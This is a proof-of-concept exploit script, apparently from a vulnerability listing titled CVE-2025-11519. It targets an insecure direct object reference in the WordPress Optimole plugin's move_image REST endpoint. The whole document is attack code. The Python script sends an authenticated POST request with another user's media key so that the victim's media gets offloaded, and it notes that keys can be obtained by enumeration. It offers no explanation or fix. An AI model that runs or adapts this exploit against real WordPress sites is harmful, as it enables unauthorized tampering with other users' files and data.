CVE-2025-11519 WordPress Optimole插件IDOR漏洞

import requests import json # CVE-2025-11519 - Optimole Plugin IDOR Vulnerability PoC # Vulnerability: Insecure Direct Object Reference in /wp-json/optml/v1/move_image # Required: Author-level or higher authenticated access TARGET_URL = "https://target-wordpress-site.com" # Authenticated session cookies (requires Author+ level access) COOKIES = { "wordpress_logged_in_xxx": "authenticated_session_cookie_value", "wordpress_sec_xxx": "secure_session_cookie_value" } def exploit_move_image(target_media_key): """ Exploit the IDOR vulnerability to offload media belonging to other users. Args: target_media_key: The media identifier (key) of the victim's media file """ endpoint = f"{TARGET_URL}/wp-json/optml/v1/move_image" # Construct the payload with the target media key payload = { "key": target_media_key # User-controlled parameter without authorization check } headers = { "Content-Type": "application/json", "X-WP-Nonce": "valid_wp_rest_nonce", # Valid REST API nonce "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } try: response = requests.post( endpoint, headers=headers, cookies=COOKIES, json=payload, verify=False ) if response.status_code == 200: print(f"[+] Successfully exploited IDOR on media key: {target_media_key}") print(f"[+] Response: {response.text}") return True else: print(f"[-] Failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": # Example: Target a media file belonging to another user # The media key can be obtained by enumerating media items via WP REST API target_key = "victim_media_attachment_key_or_id" exploit_move_image(target_key)